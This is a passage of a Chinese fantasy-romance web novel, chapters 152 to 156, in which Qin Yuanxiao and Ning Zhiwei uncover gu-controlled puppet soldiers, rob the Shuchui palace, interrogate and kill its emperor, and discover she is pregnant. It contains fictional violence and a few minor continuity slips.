界阙内光线柔和,如同黄昏时分的暮色,将一切都笼罩在朦胧温暖的氛围中。十几个身着黑衣的人整齐地躺在地上,他们的面具在这样的光线下显得格外诡异。 秦远霄站在其中一人面前,手指微微颤抖。他深吸一口气,缓缓蹲下身,小心翼翼地伸手去揭那人的面具。 “等等。”宁芷薇突然出声,“让我先检查一下他们的状况。” 她走上前,蹲在那人身边,手指搭上对方的脉搏。片刻后,她微微皱眉:“脉象很弱,但很稳定。应该是某种药物的作用。” 秦远霄点点头,随即揭开了那人的面具。当看清那张脸的瞬间,他的呼吸猛地一滞。 “洛桐...”他的声音有些发抖,“这是洛桐,我父亲的副将。” 宁芷薇看着秦远霄苍白的脸色,不由得握住了他的手。掌心传来的温度让秦远霄稍稍回神,他深吸一口气,转向下一个人。 一张张面具被揭开,一张张熟悉的面孔暴露在空气中。秦远霄的动作越来越快,仿佛着了魔。 “郑将军...李统领...陈副将...”他的声音越来越低,最后几乎成了呢喃,“我认识他们,几乎都认识。这些人,都是跟随父亲出生入死的将士。” 宁芷薇默默地看着这一幕。前世她也曾失去过战友,那种痛苦至今记忆犹新。她能理解秦远霄此刻的心情。 “让我仔细检查一下。”宁芷薇轻声说道,随即开始为洛桐检查身体状况。 她的手指在洛桐的穴位上依次按压,眉头越皱越紧。这些人体内不只含有一种毒素,而是多种毒药的复合物。这些毒素会麻痹神经,剥夺意识,却又不至于致命。 就在这时,她突然想到了什么,连忙取出装有六哥体内子蛊的玻璃瓶。 瓶中的蛊虫在晃动下变得躁动不安,当它抬起前足的瞬间,令人毛骨悚然的场景出现了。原本躺着的药人们突然齐刷刷地站起,动作整齐划一地列队。 “这是...”宁芷薇瞳孔微缩。 她试着将蛊虫拿远,那些人立刻如同断线木偶般瘫软下去。再次将蛊虫靠近,他们又站了起来。 “原来如此,这些药人是通过子蛊来控制的。”宁芷薇若有所思,“蛊虫应该是通过某种特殊的信号来操控他们。” 秦远霄看着这些昔日的战友,眼中满是痛楚:“他们本该得到英雄的安葬,却沦为了别人的傀儡。” 他的拳头攥得死紧,指节发白。宁芷薇能感受到他压抑的怒火和悲痛。 “我们一定会找到救他们的方法。”宁芷薇轻声说道,“但现在最重要的是弄清楚这些毒素的成分。” 她取出银针,小心地在洛桐身上扎了几处穴位。随着银针的刺入,一滴滴暗红色的血珠渗了出来。 宁芷薇仔细观察着血液的颜色和凝结程度,又闻了闻气味:“血液中有檀香的味道,应该是用了凝魂草。这种药草能麻痹神经,但单独使用的话不会这么霸道。” 第一百五十二章 她又检查了其他几个人,发现情况都差不多:“除了凝魂草,还掺杂了其他毒物。这些毒素已经完全融入了他们的血液中,贸然解毒反而可能致命。” 秦远霄的脸色更加难看:“那该怎么办?” 宁芷薇沉吟片刻:“我们得先回都城。四哥和七哥还在养伤,不能让他们处于危险之中。而且这里是东陲,不适合久留。” “这些人暂时在界阙里是安全的。等回到都城,我们可以慢慢研究解毒之法。” 秦远霄深吸一口气,强迫自己冷静下来:“你说得对。现在最重要的是保证大家的安全。” 两人最后看了眼这些昔日的将士,转身离开了界阙。 与此同时,追出城的沧澜先生却感受到了母蛊的异常。他取出母蛊一看,发现它正在剧烈地躁动,甚至发出了细微的嗡鸣声。 这意味着某个载体可能已经出事了。 沧澜先生的冷汗瞬间就下来了。三个秦家男儿中,无论是谁出事都会影响他的全盘计划。尤其是六郎,若是他死了,那些精心培育的药人就会失去控制。 多年的心血可能毁于一旦,这个念头让沧澜先生几乎发狂。他加快了追赶的脚步,同时在心中盘算着对策。 如果真的是六郎出事,他至少要设法保住那些药人。那可是他耗费无数心血才培育出来的完美傀儡,每一个都价值不菲。 沧澜先生的脸上闪过一丝狰狞:“不行,绝对不能让计划功亏一篑。” 他从怀中取出一个小瓶,里面装着一种特制的药粉。这是他为意外情况准备的后手,可以短时间内控制药人,但代价是会严重损害药人的身体机能。 “希望用不上这个。”沧澜先生喃喃自语,加快了脚步。 夜色渐深,东陲的风带着潮湿的气息吹过。这个夜晚注定无人能够安眠,每个人都在为各自的目的奔波。 而那些沉睡的药人们,还在界阙内静静地躺着,不知何时才能重获自由。 雨夜的官道上,两道身影悄然浮现。 秦远霄和宁芷薇刚从界阙中出来,就与一道白色身影撞了个正着。那人反应极快,一包毒粉瞬间朝两人撒来,在昏暗的夜色中泛着诡异的光芒。 “小心!”宁芷薇眼疾手快,一把拽住秦远霄的手臂。她能感受到掌心下那人紧绷的肌肉,两人默契地再次闪身进入界阙。 界阙内,宁芷薇靠在秦远霄肩上喘息。方才那一瞬的惊险让她心跳如雷,连呼吸都有些不稳。她抬手抹去额角的冷汗:“刚才那人,你看清了吗?” “只看到一袭白衣。”秦远霄摇头,眉头紧蹙。他低头看向宁芷薇,目光中带着几分担忧,“不过能在这里搜查的人,必定与六哥有关。” 宁芷薇点头赞同。她调整了下呼吸,手指无意识地摩挲着腰间的暗器:“我们再出去看看。那人的身手不简单,说不定能找到些线索。” 两人对视一眼,默契地捂住口鼻,再次出现在雨夜中。冰凉的雨丝打在脸上,带来一丝清醒。可哪里还有白衣人的踪影,只剩下漆黑的夜色和空旷的官道,雨水打在地上发出细碎的声响。 秦远霄闭目凝神,仔细感知周围的动静。他的神情专注,雨水顺着他的发丝滑落。片刻后睁开眼:“那道身影消失在视野尽头。” “这么快就不见了...”宁芷薇眼中闪过一丝失望,她下意识地咬住下唇。突然,她像是想到什么,眼睛一亮:“子蛊会主动寻找母蛊,不如放出来试试?” “这法子不错。”秦远霄沉吟道。他抬手为宁芷薇拭去脸上的雨水,声音低沉,“不过得设个限制,若是子蛊往边境方向去,就得放弃。天亮前我们必须回都城看看四哥和七哥的情况。” 宁芷薇从界阙取出装着子蛊的瓶子,玻璃瓶在雨夜中泛着微弱的光。秦远霄已经揽住她的腰,随时准备追踪。她能感受到那人掌心的温度,让她在这寒冷的雨夜里感到一丝暖意。 子蛊终于挣脱束缚,立刻朝都城方向飞去。在雨幕中留下一道几不可见的轨迹。 两人你看我一眼,我看你一眼,眼中都闪过一丝惊讶。他们默契地跟了上去,脚步轻盈,在雨夜中如同两道幽灵。 一阵狂奔直至城郊,子蛊沿着城墙飞入。秦远霄带着宁芷薇加快速度,趁守卫不备翻墙而入。城墙上的守卫正躲在屋檐下避雨,打着哈欠昏昏欲睡。 子蛊在城中穿梭,穿过繁华的街市,掠过寂静的庭院,最后竟直奔皇宫而去。雨水打湿了两人的衣衫,但他们顾不上这些,紧紧跟随着那道微弱的踪迹。 “不好,皇宫守卫太严密。”秦远霄眼疾手快,在子蛊即将飞入皇宫前将其捉回瓶中。他的动作干净利落,没有发出一点声响。 宁芷薇看了眼界阙里的挂钟,子时刚过。夜色正浓,雨势渐小,空气中弥漫着泥土的腥气。 “要不要趁现在进去看看?”她轻声问道,声音几乎被雨声淹没。 秦远霄沉默片刻,目光在皇宫的轮廓上扫过:“都到这了,不查个明白,心里难安。” 两人绕到皇宫西面的偏僻巷子,秦远霄抱起宁芷薇,轻松翻过宫墙。落地时,宁芷薇能感受到他的心跳,稳健而有力。 “这边是国库。”秦远霄指着前方戒备森严的建筑,嘴角勾起一抹玩味的笑,“当年我可是把这里搬空过。” 宁芷薇注意到守卫比想象中多得多,想必是太子府库房被盗的缘故。月光下,能看到守卫们手中的兵器泛着冷光。 迷药所剩无几,她果断取出两把连珠弓。这是她特制的暗器,箭头涂有剧毒,一旦命中必死无疑。 后窗处有四名守卫,两人各自解决两个。弩箭无声无息地射中四人眉心,他们甚至来不及发出一声惊呼就倒下了。 秦远霄迅速处理掉尸体和箭矢,动作娴熟得仿佛演练过千百遍。二人翻窗闯入,冰冷的月光透过窗棂,在地上投下斑驳的影子。 第一百五十三章 库房内的财物虽不及永安朝丰厚,但几年时间能攒下这些,也算不错了。金银珠宝堆积如山,在月光下闪烁着诱人的光芒。 宁芷薇的目光在库房内扫视,突然注意到角落里的一个木箱。那箱子看起来普普通通,却被重重保护着。她轻手轻脚地走过去,小心翼翼地打开箱子。 箱子里是一堆文书,最上面的一份赫然写着“永安秘录”几个字。宁芷薇心头一跳,连忙示意秦远霄过来。 秦远霄快速翻阅文书,眉头越皱越紧。这些文书记载的都是永安朝的机密,其中不乏一些见不得人的勾当。最重要的是,这些文书大多与六皇子有关。 “看来六哥早有准备。”秦远霄冷笑一声,“这些文书若是流传出去,永安朝怕是要天翻地覆。” 宁芷薇正要说话,突然听到外面传来脚步声。她和秦远霄对视一眼,迅速将文书收入界阙,然后闪身躲到货架后。 脚步声越来越近,伴随着说话声。 “大人,刚才好像听到动静。” “仔细搜查,不要放过任何角落。” 宁芷薇屏住呼吸,感受到秦远霄的手臂将她护在身后。她能感受到那人紧绷的肌肉,知道他随时准备出手。 守卫们举着火把搜查,火光照亮了库房的每个角落。就在他们即将走到货架后时,外面突然传来一阵喧哗。 “不好了!东面发现可疑人影!” 守卫们闻言立刻转身离去,脚步声渐渐远去。 待守卫离去,两人都松了口气。 宁芷薇站在国库中央,继续搜索,目光快速扫过四周。青铜器皿在烛光下泛着古朴的光泽,成排的木架上堆满了各色珍宝,琳琅满目。檀香木的气息与尘埃混杂,在这封闭的界阙里显得格外浓郁。 她轻轻抬手,指尖泛起一丝若有若无的光芒。空气中似有涟漪荡开,架上的物品逐一消失,被收入她的界阙之中。 “这些东西......”秦远霄低声开口,目光落在一只玉如意上,“大多是贡品。” 宁芷薇点头,继续着手上的动作。她的动作很快,却又极为谨慎。每一件物品都被她仔细检查后才收起,生怕遗漏任何可能的线索。 “皇帝私库才是重点。”她一边收着东西,一边轻声说道,“那颗黑色东珠,应该就在那里。” 秦远霄站在门边警戒,他的身形几乎与阴影融为一体。夜色给他披上了一层神秘的面纱,只有那双眼睛在黑暗中闪着微光。 “巡逻的侍卫快到了。”他突然开口,声音低沉而警惕。 宁芷薇迅速收起最后几件物品,向门口走去。她的脚步轻盈得几乎听不见声响,仿佛踩在云端。 两人沿着来时的路线潜行,每一个转角都小心翼翼。月光透过云层,在地上投下斑驳的影子,为他们的行动增添了几分掩护。 很快,皇帝私库那扇雕花大门出现在眼前。门上的龙纹在月光下若隐若现,显得格外威严。 宁芷薇凝视着那扇门,心跳不自觉地加快了几分。这里面或许藏着她一直在寻找的答案。那颗黑色东璧,究竟隐藏着怎样的秘密? 她深吸一口气,示意秦远霄掩护。后者会意,立刻隐入阴影之中。 开锁的过程异常顺利,仿佛冥冥之中自有天意。门轴发出极轻的吱呀声,宁芷薇的心却提到了嗓子眼。 私库内的陈设比国库更为精致。玉器、字画、古籍应有尽有,每一件都价值澧州。但此刻的宁芷薇已经顾不上欣赏,她必须争分夺秒。 “得快点。”她一边收着物品,一边低声说道,“等下就该换岗了。” 秦远霄点头,从怀中取出一个精致的瓷瓶:“是时候放出子蛊了。” 瓶塞一开,一只通体漆黑的蛊虫立刻飞了出来。它在空中盘旋了几圈,突然朝着特定的方向飞去。 “跟上它。”宁芷薇快速收起最后几件物品,与秦远霄一同追随子蛊的方向。 蛊虫的速度并不快,但方向极为明确。它带着两人穿过回廊,躲过巡逻的侍卫,最终停在了御书房外。 “养蛊人在里面?”秦远霄皱眉。 宁芷薇观察着四周。御书房外只有两名守卫,此时正倚着墙打盹。夜已深,连最尽职的侍卫也难敌困意。 她从袖中取出一包粉末,轻轻一扬。粉末随风飘向守卫,后者的呼吸很快变得绵长。 确认守卫已经熟睡,两人才悄悄推开房门。子蛊立刻钻了进去,在一处书架前不停徘徊。 “密室。”宁芷薇轻声说道,“开始找机关。” 两人仔细搜索着每一寸可疑的地方。书架上的书籍、墙上的装饰、地面的砖块,都没有放过。 终于,秦远霄在一本《易经》后发现了暗扣。随着机关启动,书架缓缓移开,露出一个幽深的通道。 子蛊毫不犹豫地飞了进去。通道内点着长明灯,隐约可见里面是个不大的密室。 宁芷薇快步走到床榻边,伸手触摸。“还有余温,人刚走。” 秦远霄在密室内转了一圈:“这里还有一个出口。” 他指着角落里一个不起眼的暗门。子蛊已经从那里钻了出去。 两人继续追踪,一路来到皇宫外的丛林。夜风吹动树叶,发出沙沙的响声。月光透过枝叶间隙洒下,在地上投下斑驳的光影。 突然,飞在前方的子蛊停住了。 宁芷薇心中警铃大作,但已经来不及了。子蛊猛地撞向一棵大树,缓缓坠落。 “它自杀了。”她叹了口气,将子蛊的尸体小心收起,“养蛊人让它自尽,看来他很谨慎。” 秦远霄望着子蛊坠落的方向:“虽然这条线断了,但既然他能在御书房密室活动,蜀陲皇帝必定知道他的身份。” 宁芷薇点头:“我们去问问他。” 两人沿着密道返回皇宫,直奔皇帝寝宫。一路上,宁芷薇的心思不断转动。养蛊人究竟是谁?他为何要控制那些药人?这一切又与秦家有什么关系? 夜色渐深,皇宫中一片寂静。只有零星的更夫打更声远远传来,更添几分诡秘。 寝宫的轮廓在月光下若隐若现,守卫比平常多了几倍。显然,皇帝也察觉到了什么。 “从后面绕过去。”宁芷薇低声说道,“那里守卫最少。” 两人借着夜色的掩护,悄悄向寝宫后方摸去。每一步都走得极为谨慎,生怕惊动了任何人。 忽然,远处传来一阵骚动。似乎有什么事情发生,守卫们的注意力都被吸引了过去。 “机会来了。”秦远霄低语。 宁芷薇点头,两人趁着这个空档,迅速向寝宫摸去。今晚的一切疑问,或许很快就能得到答案。 但她心里清楚,真相往往比想象中更加复杂。这个夜晚,恐怕还有更多的惊险在等着他们。 第一百五十四章 夜色如墨,寝宫外的守卫来回巡视,火把的光芒在黑暗中摇曳。寒风呼啸,吹得宫墙上的铜铃叮当作响,却掩盖不住守卫们低声的交谈。 “今晚风大,冷得很。”一个守卫搓着手说道。 “可不是,这鬼天气,连值夜都成了受罪。”另一个守卫裹紧了身上的斗篷。 他们浑然不知,危险正悄然而至。 秦远霄与宁芷薇如两道幽灵般潜入,动作轻盈得仿佛踩在云端。月光下,宁芷薇的长发被风吹起,她伸手将一缕碎发别到耳后,眼神专注地观察着周围的动静。 “那边。”秦远霄用气声提醒。 两人默契地分开行动,转眼间就解决了外围的守卫。他们的动作干净利落,没有发出一丝声响。倒下的守卫被迅速拖入暗处,就连衣角都未曾沾上一点尘土。 推开寝殿的门,蜀陲皇帝正在熟睡。床榻上的帷帐随风轻轻摆动,烛火在夜风中忽明忽暗,为这个场景平添几分诡异。 宁芷薇心中暗笑,这位帝王怕是做梦也想不到,今晚会有不速之客造访。她的目光扫过寝殿内的陈设,每一件摆件都价值连城,却难掩主人内心的虚荣与贪婪。 看着床榻上的人,秦远霄眼底泛起一丝寒意。他的手指无意识地摩挲着腰间的匕首,指节因用力而发白。多少个日日夜夜,他都在等待这一刻。蜀陲皇帝一次次挑起战事,害得秦家家破人亡,今日便是清算的时候。 “别急。”宁芷薇轻轻按住他的手,低声道,“先办正事。” 她轻手轻脚上前,纤细的手指在蜀陲皇帝的穴位上轻点。月光下,她的动作优雅得宛如在跳一支无声的舞。这些穴位她已经练习过无数次,每一下都精准无比。 “薇薇,可以了吗?”秦远霄低声问道,声音里带着几分焦躁。 宁芷薇收回手,转身点点头:“放心,他一时半会醒不过来。” 两人开始在寝殿内搜寻,但凡值钱的东西,统统被收入界阙。宁芷薇看着秦远霄忙碌的身影,心中泛起一阵酸涩。若不是被逼无奈,堂堂秦家公子,何至于沦落到做这等偷鸡摸狗的勾当。 秦远霄似乎察觉到她的目光,停下手中的动作:“怎么了?” “没什么。”宁芷薇摇摇头,继续忙碌起来。 一件件珍贵的物品被收入界阙,宁芷薇的动作越发熟练。她的手指划过一只玉如意,上面的纹路精美绝伦,一看就知道是宫廷御用的物件。 “这个值钱。”秦远霄说着,将玉如意递给她。 宁芷薇接过来,却在触碰的瞬间感受到他指尖的颤抖。她抬头看他,却见他已经转身去查看其他物品。 待寝殿内被搜刮一空,宁芷薇将昏迷的蜀陲皇帝也收入界阙。两人趁着夜色,如来时一般悄然离去。宫墙上的铜铃依旧在风中作响,仿佛这一切都只是一场幻梦。 回到租住的院子,确认两位兄长安好后,他们闪身进入界阙。界阙内光线明亮,与外面的黑夜形成鲜明对比。 “噗嗤——”宁芷薇忍不住笑出声。 只见墨圆儿正坐在蜀陲皇帝的肚子上,小爪子抱着个竹笋啃得正欢。它的小脸蛋鼓鼓的,像个偷吃的小孩子。更让人忍俊不禁的是,这小家伙边吃边在皇帝身上拉青团,那场面,当真是滑稽至极。 “这小东西倒是聪明。”秦远霄也被逗笑了,眼角的笑纹让他整个人显得柔和了许多,“知道这是个坏人。” 墨圆儿听到主人的声音,立刻丢下竹笋,摇摇晃晃地跑了过来。它的小短腿迈得飞快,却总是歪歪扭扭的,看起来分外可爱。宁芷薇将它抱起来,在它软乎乎的脸蛋上亲了一口。 “六哥大概还有一个时辰就要醒了,”宁芷薇说道,手指轻轻抚摸着墨圆儿的毛发,“我们得抓紧时间。” 秦远霄点点头,眼神重新变得冰冷。他上前狠狠踢了蜀陲皇帝几脚,力道之大,让人不禁为这位帝王感到疼痛。这一脚下去,蜀陲皇帝立刻醒了过来。 “你们...你们是谁?”蜀陲皇帝惊恐地环顾四周,声音因为恐惧而颤抖,“竟敢对孤如此无礼!” 秦远霄冷笑一声,动作缓慢地摘下假胡子和帽子,一点一点擦去脸上的妆容。他的每个动作都带着几分刻意的表演性,就是要让蜀陲皇帝亲眼看着,自己是如何一步步揭开伪装。 蜀陲皇帝瞬间面如土色,嘴唇哆嗦着说不出话来:“秦...秦远霄!” “说,你那暗室里到底藏了何方神圣?”秦远霄一把揪住他的头发,指节因用力而泛白。 蜀陲皇帝只穿着单薄的亵裤,被这么一拽,险些走光。他慌忙用手拉住裤子,却依然嘴硬:“孤乃一国之君,你敢——” 宁芷薇见状,从怀中掏出一只怀表。这宝贝是她专门找外国佬搞来的,银质表壳上雕刻着精美的花纹,在灯光下泛着柔和的光泽。她在蜀陲皇帝面前轻轻晃动:“这玩意是从老外淘来的,你看看...” 蜀陲皇帝的目光随着怀表摆动,渐渐变得呆滞。他的眼神失去了焦距,整个人仿佛陷入了某种奇异的状态。 “告诉我,你私密空间里究竟躲着什么人?”秦远霄沉声问道,每个字都带着压迫感。 “是...沧澜先生。”蜀陲皇帝的声音机械而空洞。 这个答案让秦远霄和宁芷薇都震惊不已。宁芷薇只觉得胃部一阵翻涌,这个名字背后所代表的含义,远比他们想象的要可怕得多。她的手指无意识地抓紧了怀中的墨圆儿,直到小家伙发出不满的叫声才惊觉。 秦远霄的脸色变得极为难看,他松开蜀陲皇帝的头发,转身在界阙内来回踱步。沧澜先生,这个名字就像一把钥匙,打开了许多不为人知的秘密。 “怎么会是他...”宁芷薇喃喃自语,眼神中充满了不可置信。 墨圆儿似乎感受到了主人的情绪变化,不安地在她怀里扭动。宁芷薇轻轻抚摸它的背部,试图安抚这个小家伙,却发现自己的手也在微微发抖。 蜀陲皇帝仍然保持着呆滞的状态,嘴里不时念叨着一些含糊不清的话语。月光透过界阙的窗户洒落进来,将他的影子拉得很长,像是一个即将崩塌的帝王。 沧澜先生就在眼前,却还是让他给跑了。 第一百五十五章 宁芷薇站在窗边,望着远处渐暗的天色。夕阳的余晖洒在她疲惫的脸上,为她平添几分憔悴。她转头看向秦远霄,发现他正站在书房中央,眉头紧锁,眼中闪烁着复杂的情绪。 房间里的气氛凝重得令人窒息。 “这沧澜先生,确实比我们想象的还要狡猾。”宁芷薇轻声开口,试图打破这份沉默。她走到秦远霄身边,看着他紧绷的侧脸。 秦远霄没有立即回应,只是微微偏头看向窗外。夜色渐浓,远处的宫灯一盏接一盏亮起,如同点缀在夜幕上的星辰。 “他的身手很好,”秦远霄终于开口,声音低沉,“从他的动作来看,应该是江湖上的高手。” 宁芷薇若有所思地点点头,忽然想到什么:“远霄,你说官道上那个撒毒粉的人,会不会就是沧澜先生?” 这个问题像一颗石子投入平静的湖面,激起层层涟漪。秦远霄的眼神骤然锐利起来:“我也在考虑这个可能性。当时那人的身形、动作,确实和今天见到的沧澜先生很像。” “要不要问问蜀陲皇帝?”宁芷薇从怀中掏出那块精致的怀表,在烛光下泛着柔和的光泽。 秦远霄点头同意。两人来到蜀陲皇帝面前,宁芷薇开始摆动怀表。随着金属表面反射的光芒有节奏地晃动,蜀陲皇帝的眼神逐渐涣散,整个人陷入一种恍惚的状态。 “沧澜先生昨天穿什么衣服?”秦远霄沉声问道。 “一身白衣,戴着围帽。”蜀陲皇帝机械地回答。 这个回答让宁芷薇和秦远霄交换了一个意味深长的眼神。官道上那个神秘人,正是一身白衣打扮。 宁芷薇继续追问:“他为什么会在你的书房密室?” “是贵妃的意思,”蜀陲皇帝的声音毫无起伏,“她说沧澜先生是她的师父,养好伤后会给我一个大惊喜。” 秦远霄的眼中闪过一丝寒意:“秦家被抄家是怎么回事?” “是贵妃和永安昭王合谋的。贵妃给了昭王一些伪造的信件,用来栽赃秦家通敌叛国。” 这句话像一把利剑,直接刺入秦远霄的心脏。他的手指深深掐入掌心,指节发白。宁芷薇看在眼里,轻柔地攥住他的掌心,无声地给予安慰。 “你知道秦家其他人的下落吗?”宁芷薇继续问道。 “秦霆早就死了,那颗头颅正悬在城墙上警示众人。”蜀陲皇帝的话语冰冷无情,“除了六郎被沧澜先生带在身边,七郎关在太子府,剩下的人全部毒发当场。” 秦远霄的身体微微颤抖,眼中的痛苦一闪而过。宁芷薇能感受到他手掌传来的力度,知道他正在极力克制自己的情绪。 “黑色东珠在哪里?”秦远霄强迫自己冷静下来。 “在我的私库里。” 就在这时,宁芷薇突然感到一阵强烈的眩晕。这几天为了救人,她几乎没有好好休息过。怀表在她手中摇晃得越来越厉害,眼前的景象也开始模糊。 “薇薇!”秦远霄及时接住了她手中的怀表。 蜀陲皇帝趁机清醒过来,看清眼前的形势后,立刻换上一副谄媚的表情:“秦远霄,只要你放过我,我可以封你为异姓王,让秦家世代享受荣华富贵!我还可以把最疼爱的公主嫁给你!” 话音未落,秦远霄已经一拳打在他脸上。清脆的响声中,蜀陲皇帝的门牙飞了出去,鲜血顺着嘴角流下。 这血腥的一幕让本就不适的宁芷薇更加难受,她捂着嘴跑向医务室的卫生间。秦远霄一记手刀劈晕蜀陲皇帝后,立即追了上去。 “薇薇!” 宁芷薇已经蹲在马桶前开始呕吐。秦远霄看着她苍白的脸色,心疼不已。他轻轻拍着她的背,低声道:“对不起,都是我不好。” 宁芷薇摇摇头,想说些什么,却又是一阵干呕。她这些天为了帮秦远霄,几乎没有休息好。每天不是在寻找线索,就是在救治中毒的人。 秦远霄从旁边取来湿毛巾,轻轻擦拭她的脸。宁芷薇靠在他怀里,虚弱地说:“我没事,就是有点累。” “不要再勉强自己了,”秦远霄的声音里充满心疼,“你先休息一下,剩下的事情交给我。” 宁芷薇却摇头:“不行,我们必须尽快找到沧澜先生。他手里有解药,还抓着你六哥。而且...”她话说到一半,又是一阵眩晕。 秦远霄扶着她站起来:“先回房间休息。沧澜先生的事情,我们从长计议。” 走出卫生间时,宁芷薇忽然想起什么:“远霄,我们得去一趟私库。黑色东珠对我很重要。” 秦远霄点点头:“我知道。但现在最重要的是让你好好休息。” 回到房间,秦远霄小心地扶宁芷薇躺下。看着她疲惫的样子,他心中涌起一阵愧疚。为了帮自己复仇,薇薇付出了太多。 夜色渐深,月光透过窗棂洒在床前。宁芷薇已经睡着了,呼吸绵长而平稳。秦远霄坐在床边,轻轻握着她的手,目光柔和。 窗外传来几声夜莺的啼鸣,打破了夜的寂静。秦远霄知道,明天还有很多事情要做。沧澜先生的身份、黑色东珠的下落、六哥的安危,每一件都不容忽视。 但此刻,他只想守着她,让她安心休息。 宁芷薇扶着斑驳的墙壁,又是一阵剧烈的反胃。东陲潮湿闷热的空气中弥漫着一股腐朽的气息,更加重了她的不适。她的指节因用力而泛白,豆大的汗珠顺着苍白的面颊滑落。 “薇薇...”秦远霄心疼地看着妻子痛苦的模样,轻轻揽住她纤细的腰肢,另一只手轻柔地抚着她的背。他能感受到掌下单薄的身躯在微微颤抖。 自从踏入东陲,薇薇的身子就一直不适。这里的气候本就与北方迥异,再加上他们一路奔波,日夜兼程,能撑到现在已经很不容易了。 “都怪我,不该带你来东陲。”他低声自责道,眼中满是懊悔。 作为秦家男儿,追查线索本是分内之事。可他却连这点事都做不好,还要让娇弱的妻子陪着受苦。想到这里,他的心就像被无形的手攥紧,疼得几乎喘不过气。 宁芷薇吐完,虚弱地靠在秦远霄怀中。她的脸色比月光还要苍白,额头上渗出细密的汗珠。 “来,喝点水。”秦远霄连忙从腰间取下水囊,倒出一杯温水递到她唇边,“天亮后我们就离开这里,先去城里找个大夫看看。” “不用了,我自己号个脉就好。”宁芷薇摆摆手,在一旁的木椅上坐下。椅子年久失修,发出吱呀一声轻响。 她纤细的手指搭上脉门,闭目凝神。片刻后,她猛地睁开眼,眸中闪过一丝难以置信的神色。 这脉象...竟是喜脉! 宁芷薇愣在原地,脑中思绪万千。她下意识地抚上小腹,那里正孕育着一个新的生命。 第一百五十六章 秦家一直盼着有后,偏偏这熊孩子挑了这时候蹦出来。她咬着下唇,眉头微蹙。如今他们在东陲腹地,不仅要带着六哥和七哥逃离,还要护着四公主的两个婢女。更重要的是,七月份沧澜先生会去玄陲,那是救回公公和大哥二哥的唯一机会。 沧澜先生蛊术了得,没有她的手术取蛊之术,根本无法救人。可到那时她怕是要生产了... “薇薇?”秦远霄见妻子迟迟不语,担忧地握住她的手。她的手冰凉,让他心头一紧,“究竟怎么了?现在就去找大夫。” “我...我有喜了。”宁芷薇轻声道,声音轻得几乎听不见。 秦远霄一怔,随即眼中迸发出惊喜的光芒。自从与薇薇成亲,他日日盼望能有个爱的结晶,如今终于得偿所愿。可喜悦过后,更多的是担忧。 “真的吗?”他激动得语无伦次,手掌不自觉地覆上她的小腹,“那...那我们赶紧回塞北,你要好好养胎...” 宁芷薇看出他的紧张,柔声道:“别担心,我没那么娇弱。沧澜先生的事...” “不行!”秦远霄斩钉截铁地打断她,眼中满是坚定,“救父兄的事交给我们,你只管安心养胎。” 宁芷薇还想说什么,秦远霄已经将她搂入怀中。他的怀抱温暖而有力,让她感到前所未有的安全感:“你跟着我吃了这么多苦,如今有了身孕,我定要好好护着你。” 温暖的怀抱让宁芷薇心中一软,轻声应道:“好,听你的。” 夜色渐深,院中传来细微的响动。宁芷薇警觉地抬头:“六哥快醒了,我们得抓紧时间。” 她起身去查看六哥的情况,秦远霄则走向被捆在角落的蜀陲皇帝。他本想好好折磨这个仇人,为秦家报仇。但看着妻子腹中的孩子,他不愿再沾染太多血腥。 蜀陲皇帝似乎察觉到了危险,开始剧烈挣扎。秦远霄冷冷地看着他,想起当年城头上那些假的人头,心中怒火翻涌。他干脆利落地扭断了对方的脖子,特意将尸体留在界阙内,没有带出来。 “远霄,有人来了!”宁芷薇的声音突然响起。 两人刚翻出院墙,就看见明子正带着三名官兵走来,手里还拿着芳儿珊儿的画像。月光下,画像上两个女子的面容清晰可见。 “不好!”宁芷薇迅速从界阙取出两把连珠弓,动作行云流水。 秦远霄接过一把,两人默契地同时出手。三声闷响过后,官兵应声倒地。夜色中,血腥味弥漫开来。 明子的眼神里带着几分祈求,他不停地眨着眼睛,似乎想用口型传达什么。额头上的汗珠在阳光下闪着微光,脸上的表情既紧张又焦虑。 他吓得跪地求饶,不停磕头。他的额头很快就磕出了血,但他顾不上疼痛,只是不停地求饶:“少爷饶命!少爷饶命!是奴才一时糊涂...” 秦远霄冷冷地看着他,眼底一片寒霜。院墙上贴着的画像格外刺眼,那一百两白银的赏金仿佛在无声地嘲笑着他的信任。为了这点银子,明子竟然出卖主人,真是令人心寒。 风吹动了画像的一角,那上面的字迹清晰可见:“东陲重犯,见者拿获,赏银百两。”画像上的人物虽然模糊,但那熟悉的轮廓无疑就是秦徒扬。 宁芷薇察觉到秦远霄的异样,轻轻拉了拉他的衣袖。她能感受到他身上散发出的冰冷杀意,那是一种令人窒息的压迫感。 明子似乎意识到了什么,脸色瞬间变得惨白。他张了张嘴,想要解释,但秦远霄已经出手。一掌之下,明子的生命戛然而止,倒在地上时眼睛还大睁着,似乎带着不解和恐惧。 “帮我一起处理尸体。”秦远霄的声音低沉而冰冷,仿佛从地狱深处传来。 两人将明子和几个官兵的尸体拖进院子深处。院子里的杂草丛生,暂时应该不会被人发现。宁芷薇看着地上的血迹,心中一阵发紧。她取出随身携带的药粉,小心翼翼地撒在血迹上。 “远霄,天快亮了。”她低声提醒道,“我们得赶紧离开。” 秦远霄看了眼东方泛起的鱼肚白,又看了看妻子略显疲惫的面容,终于压下了心中的杀意。他一掌劈晕明子,然后将人拖到暗处。 “走吧。”他轻声道,揽住宁芷薇的腰,“我们先去找个安全的地方休息。” 宁芷薇点点头,却突然皱眉捂住胸口。她感到一阵眩晕,脚下一软,差点跌倒。 “薇薇!”秦远霄连忙扶住她,发现她额头滚烫,“你发烧了!” “没事...”宁芷薇强撑着说道,“可能是受了风寒...” 秦远霄不由分说地将她打横抱起:“别说话了,我们马上去找大夫。” 宁芷薇靠在他怀里,意识渐渐模糊。她知道自己现在的状态很危险,既要照顾六哥七哥,还要护着两个婢女,偏偏又怀了身孕... 但她不能倒下,至少现在不能。她努力保持清醒,手指紧紧攥着秦远霄的衣襟。 秦远霄低头看着怀中的人儿,心疼得无以复加。他加快脚步,在晨曦微露时分,穿过东陲错综复杂的街巷,向城中最好的医馆赶去。 “快放我下来,如今六哥还在界阙里,我自己就是医生,没事的”。宁芷薇看着焦急的秦远霄说道。 从界阙里找了药吃下,宁芷薇已无大碍。 回到屋内,四哥和七哥看到昏迷的秦徒扬,都惊得说不出话来。屋内的空气仿佛凝固了,只有窗外的风声在低语。 “六哥...”七哥的声音有些哽咽,眼眶泛红。当年他与六哥一同遭难,如今再见,却是这般凄凉的光景。他颤抖的手轻轻抚过秦徒扬的脸,仿佛在确认这不是一场梦。 四哥站在一旁,眼中闪过复杂的情绪。他们兄弟几个,本该相互扶持,共同成长,却被命运捉弄,各自遭遇磨难。 